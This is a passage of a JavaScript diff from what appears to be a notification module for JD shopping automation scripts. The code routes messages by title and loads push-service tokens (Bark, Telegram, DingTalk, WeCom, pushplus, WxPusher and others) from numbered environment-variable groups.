if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin); + } + } + } else { + console.log(`该CK已经检测没有有效,跳过通知...`); + llHaderror = true; + } + } else { + console.log(`该CK已经禁用不需要处理`); + llHaderror = true; + } + + } + + } else { + console.log(`CK过期通知处理失败...`); + } + if (llHaderror) + return; + } + } + if (strtext.indexOf("cookie已失效") != -1 || strdesp.indexOf("重新登录获取") != -1 || strtext == "Ninja 运行通知") { + if (Notify_NoCKFalse == "true" && text != "Ninja 运行通知") { + console.log(`检测到NOTIFY_NOCKFALSE变量为true,不发送ck失效通知...`); + return; + } + } + + //检查黑名单屏蔽通知 + const notifySkipList = process.env.NOTIFY_SKIP_LIST ? process.env.NOTIFY_SKIP_LIST.split('&') : []; + let titleIndex = notifySkipList.findIndex((item) => item === text); + + if (titleIndex !== -1) { + console.log(`${text} 在推送黑名单中,已跳过推送`); + return; + } + + if (text.indexOf("已可领取") != -1) { + if (text.indexOf("农场") != -1) { + strTitle = "东东农场领取"; + } else { + strTitle = "东东萌宠领取"; + } + } + if (text.indexOf("汪汪乐园养joy") != -1) { + strTitle = "汪汪乐园养joy领取"; + } + + if (text == "京喜工厂") { + if (desp.indexOf("元造进行兑换") != -1) { + strTitle = "京喜工厂领取"; + } + } + + if (text.indexOf("任务") != -1 && (text.indexOf("新增") != -1 || text.indexOf("删除") != -1)) { + strTitle = "脚本任务更新"; + } + if (strTitle) { + const notifyRemindList = process.env.NOTIFY_NOREMIND ? process.env.NOTIFY_NOREMIND.split('&') : []; + titleIndex = notifyRemindList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${text} 在领取信息黑名单中,已跳过推送`); + return; + } + + } else { + strTitle = text; + } + + if (Notify_NoLoginSuccess == "true") { + if (desp.indexOf("登陆成功") != -1) { + console.log(`登陆成功不推送`); + return; + } + } + + if (strTitle == "汪汪乐园养joy领取" && WP_APP_TOKEN_ONE) { + console.log(`捕获汪汪乐园养joy领取通知,开始尝试一对一推送...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + if (strPtPin) { + await sendNotifybyWxPucher("汪汪乐园领取通知", `【京东账号】${strdecPtPin}\n当前等级: 30\n已自动领取最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->优惠券->京券`, strdecPtPin); + } + } + + console.log("通知标题: " + strTitle); + + //检查脚本名称是否需要通知到Group2,Group2读取原环境配置的变量名后加2的值.例如: QYWX_AM2 + const notifyGroup2List = process.env.NOTIFY_GROUP2_LIST ? process.env.NOTIFY_GROUP2_LIST.split('&') : []; + const titleIndex2 = notifyGroup2List.findIndex((item) => item === strTitle); + const notifyGroup3List = process.env.NOTIFY_GROUP3_LIST ? process.env.NOTIFY_GROUP3_LIST.split('&') : []; + const titleIndexGp3 = notifyGroup3List.findIndex((item) => item === strTitle); + const notifyGroup4List = process.env.NOTIFY_GROUP4_LIST ? process.env.NOTIFY_GROUP4_LIST.split('&') : []; + const titleIndexGp4 = notifyGroup4List.findIndex((item) => item === strTitle); + const notifyGroup5List = process.env.NOTIFY_GROUP5_LIST ? process.env.NOTIFY_GROUP5_LIST.split('&') : []; + const titleIndexGp5 = notifyGroup5List.findIndex((item) => item === strTitle); + const notifyGroup6List = process.env.NOTIFY_GROUP6_LIST ? process.env.NOTIFY_GROUP6_LIST.split('&') : []; + const titleIndexGp6 = notifyGroup6List.findIndex((item) => item === strTitle); + const notifyGroup7List = process.env.NOTIFY_GROUP7_LIST ? process.env.NOTIFY_GROUP7_LIST.split('&') : []; + const titleIndexGp7 = notifyGroup7List.findIndex((item) => item === strTitle); + + if (titleIndex2 !== -1) { + console.log(`${strTitle} 在群组2推送名单中,初始化群组推送`); + UseGroupNotify = 2; + } + if (titleIndexGp3 !== -1) { + console.log(`${strTitle} 在群组3推送名单中,初始化群组推送`); + UseGroupNotify = 3; + } + if (titleIndexGp4 !== -1) { + console.log(`${strTitle} 在群组4推送名单中,初始化群组推送`); + UseGroupNotify = 4; + } + if (titleIndexGp5 !== -1) { + console.log(`${strTitle} 在群组5推送名单中,初始化群组推送`); + UseGroupNotify = 5; + } + if (titleIndexGp6 !== -1) { + console.log(`${strTitle} 在群组6推送名单中,初始化群组推送`); + UseGroupNotify = 6; + } + if (titleIndexGp7 !== -1) { + console.log(`${strTitle} 在群组7推送名单中,初始化群组推送`); + UseGroupNotify = 7; + } + if (process.env.NOTIFY_CUSTOMNOTIFY) { + strCustom = process.env.NOTIFY_CUSTOMNOTIFY; + } + if (strCustom) { + strCustomArr = strCustom.replace(/^\[|\]$/g, "").split(","); + strCustomTempArr = []; + for (var Tempj in strCustomArr) { + strCustomTempArr = strCustomArr[Tempj].split("&"); + if (strCustomTempArr.length > 1) { + if (strTitle == strCustomTempArr[0]) { + console.log("检测到自定义设定,开始执行配置..."); + if (strCustomTempArr[1] == "组1") { + console.log("自定义设定强制使用组1配置通知..."); + UseGroupNotify = 1; + } + if (strCustomTempArr[1] == "组2") { + console.log("自定义设定强制使用组2配置通知..."); + UseGroupNotify = 2; + } + if (strCustomTempArr[1] == "组3") { + console.log("自定义设定强制使用组3配置通知..."); + UseGroupNotify = 3; + } + if (strCustomTempArr[1] == "组4") { + console.log("自定义设定强制使用组4配置通知..."); + UseGroupNotify = 4; + } + if (strCustomTempArr[1] == "组5") { + console.log("自定义设定强制使用组5配置通知..."); + UseGroupNotify = 5; + } + if (strCustomTempArr[1] == "组6") { + console.log("自定义设定强制使用组6配置通知..."); + UseGroupNotify = 6; + } + if (strCustomTempArr[1] == "组7") { + console.log("自定义设定强制使用组6配置通知..."); + UseGroupNotify = 7; + } + if (strCustomTempArr.length > 2) { + console.log("关闭所有通知变量..."); + Use_serverNotify = false; + Use_pushPlusNotify = false; + Use_pushPlushxtripNotify = false; + Use_BarkNotify = false; + Use_tgBotNotify = false; + Use_ddBotNotify = false; + Use_qywxBotNotify = false; + Use_qywxamNotify = false; + Use_iGotNotify = false; + Use_gobotNotify = false; + + for (let Tempk = 2; Tempk < strCustomTempArr.length; Tempk++) { + var strTrmp = strCustomTempArr[Tempk]; + switch (strTrmp) { + case "Server酱": + Use_serverNotify = true; + console.log("自定义设定启用Server酱进行通知..."); + break; + case "pushplus": + Use_pushPlusNotify = true; + console.log("自定义设定启用pushplus(推送加)进行通知..."); + break; + case "pushplushxtrip": + Use_pushPlushxtripNotify = true; + console.log("自定义设定启用pushplus_hxtrip(推送加)进行通知..."); + break; + case "Bark": + Use_BarkNotify = true; + console.log("自定义设定启用Bark进行通知..."); + break; + case "TG机器人": + Use_tgBotNotify = true; + console.log("自定义设定启用telegram机器人进行通知..."); + break; + case "钉钉": + Use_ddBotNotify = true; + console.log("自定义设定启用钉钉机器人进行通知..."); + break; + case "企业微信机器人": + Use_qywxBotNotify = true; + console.log("自定义设定启用企业微信机器人进行通知..."); + break; + case "企业微信应用消息": + Use_qywxamNotify = true; + console.log("自定义设定启用企业微信应用消息进行通知..."); + break; + case "iGotNotify": + Use_iGotNotify = true; + console.log("自定义设定启用iGot进行通知..."); + break; + case "gobotNotify": + Use_gobotNotify = true; + console.log("自定义设定启用go-cqhttp进行通知..."); + break; + case "WxPusher": + Use_WxPusher = true; + console.log("自定义设定启用WxPusher进行通知..."); + break; + + } + } + + } + } + } + } + + } + + //console.log("UseGroup2 :"+UseGroup2); + //console.log("UseGroup3 :"+UseGroup3); + + + switch (UseGroupNotify) { + case 1: + if (process.env.GOBOT_URL && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL; + } + if (process.env.GOBOT_TOKEN && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN; + } + if (process.env.GOBOT_QQ && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ; + } + + if (process.env.PUSH_KEY && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY; + } + + if (process.env.WP_APP_TOKEN && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN; + } + + if (process.env.WP_TOPICIDS && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS; + } + + if (process.env.WP_UIDS && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS; + } + + if (process.env.WP_URL && Use_WxPusher) { + WP_URL = process.env.WP_URL; + } + if (process.env.BARK_PUSH && Use_BarkNotify) { + if (process.env.BARK_PUSH.indexOf('https') > -1 || process.env.BARK_PUSH.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH}`; + } + if (process.env.BARK_SOUND) { + BARK_SOUND = process.env.BARK_SOUND; + } + if (process.env.BARK_GROUP) { + BARK_GROUP = process.env.BARK_GROUP; + } + } else { + if (BARK_PUSH && BARK_PUSH.indexOf('https') === -1 && BARK_PUSH.indexOf('http') === -1 && Use_BarkNotify) { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${BARK_PUSH}`; + } + } + if (process.env.TG_BOT_TOKEN && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN; + } + if (process.env.TG_USER_ID && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID; + } + if (process.env.TG_PROXY_AUTH && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH; + if (process.env.TG_PROXY_HOST && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST; + if (process.env.TG_PROXY_PORT && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT; + if (process.env.TG_API_HOST && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST; + + if (process.env.DD_BOT_TOKEN && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN; + if (process.env.DD_BOT_SECRET) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET; + } + } + + if (process.env.QYWX_KEY && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY; + } + + if (process.env.QYWX_AM && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM; + } + + if (process.env.IGOT_PUSH_KEY && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY; + } + + if (process.env.PUSH_PLUS_TOKEN && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN; + } + if (process.env.PUSH_PLUS_USER && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip; + } + if (process.env.PUSH_PLUS_USER_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip; + } + if (process.env.GOTIFY_URL) { + GOTIFY_URL = process.env.GOTIFY_URL; + } + if (process.env.GOTIFY_TOKEN) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN; + } + if (process.env.GOTIFY_PRIORITY) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY; + } + + break; + + case 2: + //==========================第二套环境变量赋值========================= + + if (process.env.GOBOT_URL2 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL2; + } + if (process.env.GOBOT_TOKEN2 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN2; + } + if (process.env.GOBOT_QQ2 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ2; + } + + if (process.env.PUSH_KEY2 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY2; + } + + if (process.env.WP_APP_TOKEN2 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN2; + } + + if (process.env.WP_TOPICIDS2 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS2; + } + + if (process.env.WP_UIDS2 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS2; + } + + if (process.env.WP_URL2 && Use_WxPusher) { + WP_URL = process.env.WP_URL2; + } + if (process.env.BARK_PUSH2 && Use_BarkNotify) { + if (process.env.BARK_PUSH2.indexOf('https') > -1 || process.env.BARK_PUSH2.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH2; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH2}`; + } + if (process.env.BARK_SOUND2) { + BARK_SOUND = process.env.BARK_SOUND2; + } + if (process.env.BARK_GROUP2) { + BARK_GROUP = process.env.BARK_GROUP2; + } + } + if (process.env.TG_BOT_TOKEN2 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN2; + } + if (process.env.TG_USER_ID2 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID2; + } + if (process.env.TG_PROXY_AUTH2 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH2; + if (process.env.TG_PROXY_HOST2 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST2; + if (process.env.TG_PROXY_PORT2 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT2; + if (process.env.TG_API_HOST2 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST2; + + if (process.env.DD_BOT_TOKEN2 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN2; + if (process.env.DD_BOT_SECRET2) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET2; + } + } + + if (process.env.QYWX_KEY2 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY2; + } + + if (process.env.QYWX_AM2 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM2; + } + + if (process.env.IGOT_PUSH_KEY2 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY2; + } + + if (process.env.PUSH_PLUS_TOKEN2 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN2; + } + if (process.env.PUSH_PLUS_USER2 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER2; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip2; + } + if (process.env.PUSH_PLUS_USER_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip2; + } + if (process.env.GOTIFY_URL2) { + GOTIFY_URL = process.env.GOTIFY_URL2; + } + if (process.env.GOTIFY_TOKEN2) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN2; + } + if (process.env.GOTIFY_PRIORITY2) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY2; + } + break; + + case 3: + //==========================第三套环境变量赋值========================= + + if (process.env.GOBOT_URL3 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL3; + } + if (process.env.GOBOT_TOKEN3 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN3; + } + if (process.env.GOBOT_QQ3 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ3; + } + + if (process.env.PUSH_KEY3 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY3; + } + + if (process.env.WP_APP_TOKEN3 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN3; + } + + if (process.env.WP_TOPICIDS3 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS3; + } + + if (process.env.WP_UIDS3 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS3; + } + + if (process.env.WP_URL3 && Use_WxPusher) { + WP_URL = process.env.WP_URL3; + } + + if (process.env.BARK_PUSH3 && Use_BarkNotify) { + if (process.env.BARK_PUSH3.indexOf('https') > -1 || process.env.BARK_PUSH3.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH3; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH3}`; + } + if (process.env.BARK_SOUND3) { + BARK_SOUND = process.env.BARK_SOUND3; + } + if (process.env.BARK_GROUP3) { + BARK_GROUP = process.env.BARK_GROUP3; + } + } + if (process.env.TG_BOT_TOKEN3 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN3; + } + if (process.env.TG_USER_ID3 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID3; + } + if (process.env.TG_PROXY_AUTH3 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH3; + if (process.env.TG_PROXY_HOST3 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST3; + if (process.env.TG_PROXY_PORT3 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT3; + if (process.env.TG_API_HOST3 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST3; + + if (process.env.DD_BOT_TOKEN3 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN3; + if (process.env.DD_BOT_SECRET3) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET3; + } + } + + if (process.env.QYWX_KEY3 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY3; + } + + if (process.env.QYWX_AM3 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM3; + } + + if (process.env.IGOT_PUSH_KEY3 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY3; + } + + if (process.env.PUSH_PLUS_TOKEN3 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN3; + } + if (process.env.PUSH_PLUS_USER3 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER3; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip3; + } + if (process.env.PUSH_PLUS_USER_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip3; + } + if (process.env.GOTIFY_URL3) { + GOTIFY_URL = process.env.GOTIFY_URL3; + } + if (process.env.GOTIFY_TOKEN3) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN3; + } + if (process.env.GOTIFY_PRIORITY3) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY3; + } + break; + + case 4: + //==========================第四套环境变量赋值========================= + + if (process.env.GOBOT_URL4 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL4; + } + if (process.env.GOBOT_TOKEN4 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN4; + } + if (process.env.GOBOT_QQ4 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ4; + } + + if (process.env.PUSH_KEY4 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY4; + } + + if (process.env.WP_APP_TOKEN4 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN4; + } + + if (process.env.WP_TOPICIDS4 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS4; + } + + if (process.env.WP_UIDS4 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS4; + } + + if (process.env.WP_URL4 && Use_WxPusher) { + WP_URL = process.env.WP_URL4; + } + + if (process.env.BARK_PUSH4 && Use_BarkNotify) { + if (process.env.BARK_PUSH4.indexOf('https') > -1 || process.env.BARK_PUSH4.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH4; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH4}`; + } + if (process.env.BARK_SOUND4) { + BARK_SOUND = process.env.BARK_SOUND4; + } + if (process.env.BARK_GROUP4) { + BARK_GROUP = process.env.BARK_GROUP4; + } + } + if (process.env.TG_BOT_TOKEN4 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN4; + } + if (process.env.TG_USER_ID4 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID4; + } + if (process.env.TG_PROXY_AUTH4 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH4; + if (process.env.TG_PROXY_HOST4 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST4; + if (process.env.TG_PROXY_PORT4 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT4; + if (process.env.TG_API_HOST4 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST4; + + if (process.env.DD_BOT_TOKEN4 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN4; + if (process.env.DD_BOT_SECRET4) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET4; + } + } + + if (process.env.QYWX_KEY4 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY4; + } + + if (process.env.QYWX_AM4 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM4; + } + + if (process.env.IGOT_PUSH_KEY4 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY4; + } + + if (process.env.PUSH_PLUS_TOKEN4 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN4; + } + if (process.env.PUSH_PLUS_USER4 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER4; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip4; + } + if (process.env.PUSH_PLUS_USER_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip4; + } + if (process.env.GOTIFY_URL4) { + GOTIFY_URL = process.env.GOTIFY_URL4; + } + if (process.env.GOTIFY_TOKEN4) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN4; + } + if (process.env.GOTIFY_PRIORITY4) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY4; + } + break; + + case 5: + //==========================第五套环境变量赋值========================= + + if (process.env.GOBOT_URL5 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL5; + } + if (process.env.GOBOT_TOKEN5 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN5; + } + if (process.env.GOBOT_QQ5 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ5; + } + + if (process.env.PUSH_KEY5 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY5; + } + + if (process.env.WP_APP_TOKEN5 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN5; + } + + if (process.env.WP_TOPICIDS5 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS5; + } + + if (process.env.WP_UIDS5 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS5; + } + + if (process.env.WP_URL5 && Use_WxPusher) { + WP_URL = process.env.WP_URL5; + } + if (process.env.BARK_PUSH5 && Use_BarkNotify) { + if (process.env.BARK_PUSH5.indexOf('https') > -1 || process.env.BARK_PUSH5.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH5; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH5}`; + } + if (process.env.BARK_SOUND5) { + BARK_SOUND = process.env.BARK_SOUND5; + } + if (process.env.BARK_GROUP5) { + BARK_GROUP = process.env.BARK_GROUP5; + } + } + if (process.env.TG_BOT_TOKEN5 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN5; + } + if (process.env.TG_USER_ID5 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID5; + } + if (process.env.TG_PROXY_AUTH5 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH5; + if (process.env.TG_PROXY_HOST5 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST5; + if (process.env.TG_PROXY_PORT5 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT5; + if (process.env.TG_API_HOST5 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST5; + + if (process.env.DD_BOT_TOKEN5 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN5; + if (process.env.DD_BOT_SECRET5) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET5; + } + } + + if (process.env.QYWX_KEY5 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY5; + } + + if (process.env.QYWX_AM5 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM5; + } + + if (process.env.IGOT_PUSH_KEY5 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY5; + } + + if (process.env.PUSH_PLUS_TOKEN5 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN5; + } + if (process.env.PUSH_PLUS_USER5 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER5; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip5; + } + if (process.env.PUSH_PLUS_USER_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip5; + } + if (process.env.GOTIFY_URL5) { + GOTIFY_URL = process.env.GOTIFY_URL5; + } + if (process.env.GOTIFY_TOKEN5) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN5; + } + if (process.env.GOTIFY_PRIORITY5) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY5; + } + break; + + case 6: + //==========================第六套环境变量赋值========================= + + if (process.env.GOBOT_URL6 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL6; + } + if (process.env.GOBOT_TOKEN6 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN6; + } + if (process.env.GOBOT_QQ6 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ6; + } + + if (process.env.PUSH_KEY6 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY6; + } + + if (process.env.WP_APP_TOKEN6 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN6; + } + + if (process.env.WP_TOPICIDS6 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS6; + } + + if (process.env.WP_UIDS6 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS6; + } + + if (process.env.WP_URL6 && Use_WxPusher) { + WP_URL = process.env.WP_URL6; + } + if (process.env.BARK_PUSH6 && Use_BarkNotify) { + if (process.env.BARK_PUSH6.indexOf('https') > -1 || process.env.BARK_PUSH6.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH6; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH6}`; + } + if (process.env.BARK_SOUND6) { + BARK_SOUND = process.env.BARK_SOUND6; + } + if (process.env.BARK_GROUP6) { + BARK_GROUP = process.env.BARK_GROUP6; + } + } + if (process.env.TG_BOT_TOKEN6 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN6; + } + if (process.env.TG_USER_ID6 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID6; + } + if (process.env.TG_PROXY_AUTH6 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH6; + if (process.env.TG_PROXY_HOST6 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST6; + if (process.env.TG_PROXY_PORT6 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT6; + if (process.env.TG_API_HOST6 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST6; + + if (process.env.DD_BOT_TOKEN6 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN6; + if (process.env.DD_BOT_SECRET6) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET6; + } + } + + if (process.env.QYWX_KEY6 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY6; + } + + if (process.env.QYWX_AM6 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM6; + } + + if (process.env.IGOT_PUSH_KEY6 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY6; + } + + if (process.env.PUSH_PLUS_TOKEN6 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN6; + } + if (process.env.PUSH_PLUS_USER6 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER6; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = 